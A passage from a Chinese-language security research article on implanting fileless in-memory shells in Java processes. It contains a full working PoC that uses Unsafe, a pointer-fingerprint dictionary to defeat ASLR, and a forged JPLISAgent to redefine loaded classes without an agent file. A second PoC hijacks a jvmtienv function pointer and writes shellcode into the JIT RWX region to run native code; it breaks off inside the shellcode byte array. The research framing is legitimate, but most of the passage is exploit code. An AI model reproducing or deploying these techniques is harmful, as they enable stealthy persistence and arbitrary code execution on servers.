xVFkQdxDAVFkQeBCsVFkQeRBBVFkQehDBVFkQexDJVFkQfBANVFkQfRBBVFkQfgRUWRB/EMFUWREAgBA4VFkRAIEQ4FRZEQCCEHVUWREAgxDxVFkRAIQQTFRZEQCFBlRZEQCGEExUWREAhxAkVFkRAIgQCFRZEQCJEEVUWREAihA5VFkRAIsQ0VRZEQCMEHVUWREAjRDYVFkRAI4QWFRZEQCPEERUWREAkBCLVFkRAJEQQFRZEQCSECRUWREAkxBJVFkRAJQEVFkRAJUQ0FRZEQCWEGZUWREAlxBBVFkRAJgQi1RZEQCZEAxUWREAmhBIVFkRAJsQRFRZEQCcEItUWREAnRBAVFkRAJ4QHFRZEQCfEElUWREAoARUWREAoRDQVFkRAKIQQVRZEQCjEItUWREApAdUWREApRCIVFkRAKYQSFRZEQCnBFRZEQCoENBUWREAqRBBVFkRAKoQWFRZEQCrEEFUWREArBBYVFkRAK0QXlRZEQCuEFlUWREArxBaVFkRALAQQVRZEQCxEFhUWREAshBBVFkRALMQWVRZEQC0EEFUWREAtRBaVFkRALYQSFRZEQC3EINUWREAuBDsVFkRALkQIFRZEQC6EEFUWREAuxBSVFkRALwCVFkRAL0Q4FRZEQC+EFhUWREAvxBBVFkRAMAQWVRZEQDBEFpUWREAwhBIVFkRAMMQi1RZEQDEEBJUWREAxRDpVFkRAMYQV1RZEQDHAlRZEQDIAlRZEQDJAlRZEQDKEF1UWREAyxBIVFkRAMwQulRZEQDNBFRZEQDOA1RZEQDPA1RZEQDQA1RZEQDRA1RZEQDSA1RZEQDTA1RZEQDUA1RZEQDVEEhUWREA1hCNVFkRANcQjVRZEQDYBFRZEQDZBFRZEQDaA1RZEQDbA1RZEQDcEEFUWREA3RC6VFkRAN4QMVRZEQDfEItUWREA4BBvVFkRAOEQh1RZEQDiAlRZEQDjENVUWREA5BC7VFkRAOUQ8FRZEQDmELVUWREA5xCiVFkRAOgQVlRZEQDpEEFUWREA6hC6VFkRAOsQplRZEQDsEJVUWREA7RC9VFkRAO4QnVRZEQDvAlRZEQDwENVUWREA8RBIVFkRAPIQg1RZEQDzEMRUWREA9BAoVFkRAPUQPFRZEQD2EAZUWREA9xB8VFkRAPgQClRZEQD5EIBUWREA+hD7VFkRAPsQ4FRZEQD8EHVUWREA/QhUWREA/hC7VFkRAP8QR1RZEQEAEBNUWREBARByVFkRAQIQb1RZEQEDEGpUWREBBANUWREBBRBZVFkRAQYQQVRZEQEHEIlUWREBCBDaVFkRAQkCVFkRAQoQ1VRZEQELEGNUWREBDBBhVFkRAQ0QbFRZEQEOEGNUWREBDxAuVFkRARAQZVRZEQEREHhUWREBEhBlVFkRARMDVEsUAAQqEgYSBgO9AAe4AAinAAhMK7YACrEAAQboBvcG+gAJAAMADwAAAB4ABwAAAAwABQANBugANQb3ADoG+gA3BvsAOQb/ADsAEAAAABYAAgb7AAQAGwAcAAEAAAcAAB0AHgAAAB8AAAAJAAL3BvoHACAEAAEAIQAAAAIAIg=="; Class result = new Myloader().get(Base64.getDecoder().decode(classStr)); for (Method m:result.getDeclaredMethods()) { System.out.println(m.getName()); if (m.getName().equals("run")) { m.invoke(result,new byte[]{}); } } } catch (Exception e) { e.printStackTrace(); } }}这样就可以通过自定义一个系统内置类来加载系统库函数的Native方法。无文件落地Agent型内存马植入可行性分析前面我们讲到了目前Java内存马的分类:Agent型内存马和非Agent型内存马。由于非Agent型内存马注入后,会产生新的类和对象,同时还会产生各种错综复杂的相互引用关系,比如要创建一个恶意Filter内存马,需要先修改已有的FilterMap,然后新增FilterConfig、FilterDef,最后还要修改FilterChain,这一系列操作产生的脏数据过多,不够整洁。因此我还是认为Agent型内存马才是更理想的内存马。但是目前来看,Agent型内存马的缺点也非常明显:磁盘有agent文件落地需要上传文件,植入步骤复杂如无写文件权限,则无法植入众所周知,想要动态修改JVM中已经加载的类的字节码,必须要通过加载一个Agent来实现,这个Agent可以是Java层的agent.jar,也可以是Native层的agent.so,但是必须要有个agent。有没有一种方法可以既优雅又简洁的植入Agent型内存马呢?换句话说,有没有一种方法可以在不依赖额外Agent的情况下,动态修改JVM中已经加载的类的字节码呢?以前没有,现在有了:)首先,我们先看一下通过Agent动态修改类的流程:在客户端和目标JVM建立IPC连接以后,客户端会封装一个用来加载agent.jar的AttachOperation对象,这个对象里面有三个关键数据:actioName、libName和agentPath;服务端收到AttachOperation后,调用enqueue压入AttachOperation队列等待处理;服务端处理线程调用dequeue方法取出AttachOperation;服务端解析AttachOperation,提取步骤1中提到的3个参数,调用actionName为load的对应处理分支,然后加载libinstrument.so(在windows平台为instrument.dll),执行AttachOperation的On_Attach函数(由此可以看到,Java层的instrument机制,底层都是通过Native层的Instrument来封装的);libinstrument.so中的On_Attach会解析agentPath中指定的jar文件,该jar中调用了redefineClass的功能;执行流转到Java层,JVM会实例化一个InstrumentationImpl类,这个类在构造的时候,有个非常重要的参数mNativeAgent:这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。7. InstrumentationImpl实例化之后,再继续调用InstrumentationImpl类的redefineClasses方法,做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses08. 执行流继续走入Native层:继续跟入:做了一系列判断之后,最终调用jvmtienv的redefineClasses方法执行类redefine操作:接下来理一下思路,在上面的8个步骤中,我们只要能跳过前面5个步骤,直接从步骤6开始执行,即可实现我们的目标。那么问题来了,步骤6中在实例化InstrumentationImpl的时候需要的非常重要的mNativeAgent参数值,这个值是一个指向JPLISAgent对象的指针,这个值我们不知道。只有一个办法,我们需要自己在Native层组装一个JPLISAgent对象,然后把这个对象的地址传给Java层InstrumentationImpl的构造器,就可以顺利完成后面的步骤。组装JPLISAgentNative内存操作想要在Native内存上创建对象,首先要获取可控的Native内存操作能力。我们知道Java有个DirectByteBuffer,可以提供用户申请堆外内存的能力,这也就说明DirectByteBuffer是有操作Native内存的能力,而DirectByteBuffer底层其实使用的是Java提供的Unsafe类来操作底层内存的,这里我们也直接使用Unsafe进行Native内存操作。通过如下代码获取Unsafe:Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) { throw new AssertionError(e);}通过unsafe的allocateMemory、putlong、getAddress方法,可以实现Native内存的分配、读写。分析JPLISAgent结构接下来,就是分析JPLISAgent对象的结构了,如下:JPLISAgent是一个复杂的数据结构。由上文中redefineClasses代码可知,最终实现redefineClasses操作的是*jvmtienv的redefineClasses函数。但是这个jvmtienv的指针,是通过jvmti(JPLISAgent)推导出来的,如下:而jvmti是一个宏:而在执行到*jvmtienv的redefineClasses之前,还有多处如下调用都用到了jvmtienv:因此,我们至少要保证我们自己组装的JPLISAgent对象需要成功推导出jvmtienv的指针,也就是JPLISAgent的mNormalEnvironment成员,其结构如下:可以看到这个结构里存在一个回环指针mAgent,又指向了JPLISAgent对象,另外,还有个最重要的指针mJVMTIEnv,这个指针是指向内存中的JVMTIEnv对象的,这是JVMTI机制的核心对象。另外,经过分析,JPLISAgent对象中还有个mRedefineAvailable成员,必须要设置成true。接下来就是要确定JVMTIEnv的地址了。定位JVMTIEnv通过动态分析可知,0x000002E62D8EE950为JPLISAgent的地址,0x000002E62D8EE950+0x8(0x000002E62D8EEB60)为mJVMTIEnv,即指向JVMTIEnv指针的指针:转到该指针:可以看到0x6F78A220即为JVMTIEnv对象的真实地址,通过分析发现,该对象存在于jvm模块的地址空间中,而且偏移量是固定的,那只要找到jvm模块的加载基址,加加上固定的偏移量即是JVMTIEnv对象的真实地址。但是,现代操作系统默认都开启了ASLR,因此jvm模块的基址并不可知。信息泄露获取JVM基址由上文可知,Unsafe提供了堆外内存的分配能力,这里的堆并不是OS层面的堆,而是Java层面的堆,无论是Unsafe分配的堆外地址,还是Java的堆内地址,其都在OS层的堆空间内。经过分析发现,在通过Unsafe分配一个很小的堆外空间时,这个堆外空间的前后内存中,存在大量的指针,而这些指针中,有一些指针指向jvm的地址空间。编写如下代码:long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory)); 输出如下:定位到地址0x2e61a1b67d0:可见前后有很多指针,绿色的那些指针,都指向jvm的地址空间:但是,这部分指针并不可复现,也就是说这些指针相对于allocateMemory的偏移量和指针值都不是固定的,也就是说我们根本无法从这些动态的指针里去推导出一个固定的jvm模块基址。当对一个事物的内部运作机制不了解时,最高效的方法就是利用统计学去解决问题。于是我通过开发辅助程序,多次运行程序,收集大量的前后指针列表,这些指针中有大量是重复出现的,然后根据指针末尾两个字节,做了一个字典,当然只做2个字节的匹配,很容易出错,于是我又根据这些大量指针指向的指针,取末尾两个字节,又做了一个和前面一一对应的字典。这样我们就制作了一个二维字典,并根据指针重复出现的频次排序。POC运行的时候,会以allocateMemory开始,往前往后进行字典匹配,可以准确的确定jvm模块的基址。部分字典结构如下:"'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70'每个条目含有3个元素,第一个为指针末尾2字节,第二个元素为指针指向的指针末尾两个字节,第三个元素为指针与baseAddress的偏移量。基址确定了,jvmtienv的具体地址就确定了。当然拿到了jvm的地址,加上JavaVM的偏移量便可以直接获得JavaVM的地址。开始组装拿到jvm模块的基址后,就万事俱备了,下面准备装配JPLISAgent对象,代码如下: private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr=unsafe.allocateMemory(0x200); long jvmtiStackAddr=unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr,jvmtiAddress); unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel); unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l); System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168)); unsafe.putLong(agentAddr,jvmtiAddress-0x234f0); unsafe.putLong(agentAddr+0x8,jvmtiStackAddr); unsafe.putLong(agentAddr+0x10,agentAddr); unsafe.putLong(agentAddr+0x18,0x00730065006c0000l); //make retransform env unsafe.putLong(agentAddr+0x20,jvmtiStackAddr); unsafe.putLong(agentAddr+0x28,agentAddr); unsafe.putLong(agentAddr+0x30,0x0038002e00310001l); unsafe.putLong(agentAddr+0x38,0); unsafe.putLong(agentAddr+0x40,0); unsafe.putLong(agentAddr+0x48,0); unsafe.putLong(agentAddr+0x50,0); unsafe.putLong(agentAddr+0x58,0x0072007400010001l); unsafe.putLong(agentAddr+0x60,agentAddr+0x68); unsafe.putLong(agentAddr+0x68,0x0041414141414141l); return agentAddr; }入参为上一阶段获取的jvmti的地址,返回值为JPLISAgent的地址。完整POC如下(跨平台):package net.rebeyond; import sun.misc.Unsafe; import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*; public class PocWindows { public static void main(String[] args) throws Throwable { Unsafe unsafe = getUnsafe(); Thread.sleep(2000); //System.gc(); //Thread.sleep(2000); long allocateMemory = unsafe.allocateMemory(3); System.out.println("allocateMemory:" + Long.toHexString(allocateMemory)); String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'"; patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64 //patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64 long jvmtiOffset=0x79a220; //for java_8_271_x64 jvmtiOffset=0x78a280; //for windows_java_8_301_x64 //jvmtiOffset=0xf9c520; //for linux_java_8_301_x64 List<Map<String, String>> patternList = new ArrayList<Map<String, String>>(); for (String pair : patterns.split(",")) { String offset = pair.split(":")[0].replace("'", "").trim(); String value = pair.split(":")[1].replace("'", "").trim(); String delta = pair.split(":")[2].replace("'", "").trim(); Map pattern = new HashMap<String, String>(); pattern.put("offset", offset); pattern.put("value", value); pattern.put("delta", delta); patternList.add(pattern); } int offset = 8; int targetHexLength=8; //on linux,change it to 12. for (int j = 0; j < 0x2000; j++) //down search { for (int x : new int[]{-1, 1}) { long target = unsafe.getAddress(allocateMemory + j * x * offset); String targetHex = Long.toHexString(target); if (target % 8 > 0 || targetHex.length() != targetHexLength) { continue; } if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) { continue; } System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j); for (Map<String, String> patternMap : patternList) { targetHex = Long.toHexString(target); if (targetHex.endsWith(patternMap.get("offset"))) { String targetValueHex = Long.toHexString(unsafe.getAddress(target)); System.out.println("[!]bingo."); if (targetValueHex.endsWith(patternMap.get("value"))) { System.out.println("i found agent env:start get " + Long.toHexString(target) + ",at :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j); System.out.println("jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16))); System.out.println("jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset)); //long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30; long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset; long agentAddress = getAgent(jvmtiAddress); System.out.println("agentAddress:" + Long.toHexString(agentAddress)); Bird bird = new Bird(); bird.sayHello(); doAgent(agentAddress); //doAgent(Long.parseLong(address)); bird.sayHello(); return; } } } } } } private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr = unsafe.allocateMemory(0x200); long jvmtiStackAddr = unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr, jvmtiAddress); unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel); unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l); System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168)); unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0); unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x10, agentAddr); unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l); //make retransform env unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x28, agentAddr); unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l); unsafe.putLong(agentAddr + 0x38, 0); unsafe.putLong(agentAddr + 0x40, 0); unsafe.putLong(agentAddr + 0x48, 0); unsafe.putLong(agentAddr + 0x50, 0); unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l); unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68); unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l); return agentAddr; } private static void doAgent(long address) throws Exception { Class cls = Class.forName("sun.instrument.InstrumentationImpl"); for (int i = 0; i < cls.getDeclaredConstructors().length; i++) { Constructor constructor = cls.getDeclaredConstructors()[i]; constructor.setAccessible(true); Object obj = constructor.newInstance(address, true, true); for (Field f : cls.getDeclaredFields()) { f.setAccessible(true); if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) { //System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj)); } } for (Method m : cls.getMethods()) { if (m.getName().equals("redefineClasses")) { //System.out.println("redefineClasses:" + m); String newBirdClassStr = "yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA="; Bird bird = new Bird(); ClassDefinition classDefinition = new ClassDefinition( bird.getClass(), Base64.getDecoder().decode(newBirdClassStr)); ClassDefinition[] classDefinitions = new ClassDefinition[]{classDefinition}; try { //Thread.sleep(5000); m.invoke(obj, new Object[]{classDefinitions}); } catch (Exception e) { e.printStackTrace(); } } } //System.out.println("instrument obj:" + obj); //System.out.println("constr:" + cls.getDeclaredConstructors()[i]); } } private static Unsafe getUnsafe() { Unsafe unsafe = null; try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } return unsafe; } }Bird.javapackage net.rebeyond; public class Bird { public void sayHello() { System.out.println("hello!"); }}编译,运行:上述环境是win10+Jdk1.8.0_301_x64,注释中内置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指纹,如果是其他OS或者JDK版本,指纹库需要对应更新。可以看到,我们成功通过纯Java代码实现了动态修改类字节码。按照惯例,我提出一种新的技术理论的时候,一般会直接给出一个下载即可用的exp,但是现在为了合规起见,此处只给出demo,不再提供完整的利用工具。Java跨平台任意Native代码执行确定入口上文中,我们介绍了在Windows平台下巧妙利用instrument的不恰当实现来进行进程注入的技术,当注入的目标进行为-1时,可以往当前Java进程注入shellcode,实现不依赖JNI执行任意Native代码。但是这个方法仅适用于Windows平台。只适用于Windows平台的技术是不完整的:)上一小节我们在伪造JPLISAgent对象的时候,留意到redefineClasses函数里面有这种代码:allocate函数的第一个参数是jvmtienv指针,我们跟进allocate函数:void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) { void * resultBuffer = NULL; jvmtiError error = JVMTI_ERROR_NONE; error = (*jvmtienv)->Allocate(jvmtienv, bytecount, (unsigned char**) &resultBuffer); /* may be called from any phase */ jplis_assert(error == JVMTI_ERROR_NONE); if ( error != JVMTI_ERROR_NONE ) { resultBuffer = NULL; } return resultBuffer;}可以看到最终是调用的jvmtienv对象的一个成员函数,先看一下真实的jvmtienv是什么样子:对象里是很多函数指针,看到这里,如果你经常分析二进制漏洞的话,可能会马上想到这里jvmtienv是我们完全可控的,我们只要在伪造的jvmtienv对象指定的偏移位置覆盖这个函数指针即可实现任意代码执行。构造如下POC:先动态调试看一下我们布局的payload:0x219d1b1a810为我们通过unsafe.allocateMemory分配内存的首地址,我们从这里开始布局JPLISAgent对象,0x219d1b1a818处的值0x219d1b1a820是指向jvmtienv的指针,跟进0x219d1b1a820,其值为指向真实的jvmtienv对象的指针,这里我们把他指向了他自己0x219d1b1a820,接下来我们就可以在0x219d1b1a820处布置最终的jvmtienv对象了。根据动态调试得知allocate函数指针在jvmtienv对象的偏移量为0x168,我们只要覆盖0x219d1b1a820+0x168(0x219d1b1a988)的值为我们shellcode的地址即可将RIP引入shellcode。此处我们把0x219d1b1a988处的值设置为0x219d1b1a990,紧跟在0x219d1b1a988的后面,然后往0x219d1b1a990写入shellcode。编译,运行:进程crash了,报的异常是意料之中,仔细看下报的异常:#EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000219d1b1a990, pid=24840, tid=0x0000000000005bfc内存访问异常,但是pc的值是0x00000219d1b1a990,这就是我们shellcode的首地址。说明我们的payload布置是正确的,只不过系统开启了NX(DEP),导致我们没办法去执行shellcode,下图是异常的现场,可见RIP已经到了shellcode:绕过NX(DEP)上文的POC中我们已经可以劫持RIP,但是我们的shellcode部署在堆上,不方便通过ROP关闭DEP。那能不能找一块rwx的内存呢?熟悉浏览器漏洞挖掘的朋友都知道JIT区域天生RWE,而Java也是有JIT特性的,通过分析进程内存布局,可以看到Java进程确实也存在这样一个区域,如下图:我们只要通过unsafe把shellcode写入这个区域即可。但是,还有ASLR,需要绕过ASLR才能获取到这块JIT区域。绕过ASLR在前面我们已经提到了一种通过匹配指针指纹绕过ASLR的方法,这个方法在这里同样适用。不过,这里我想换一种方法,因为通过指纹匹配的方式,需要针对不同的Java版本做适配,还是比较麻烦的。这里采用了搜索内存的方法,如下:package net.rebeyond; import sun.misc.Unsafe; import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map; public class PocForRCE { public static void main(String [] args) throws Throwable { byte buf[] = new byte[] { (byte) 0x41, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 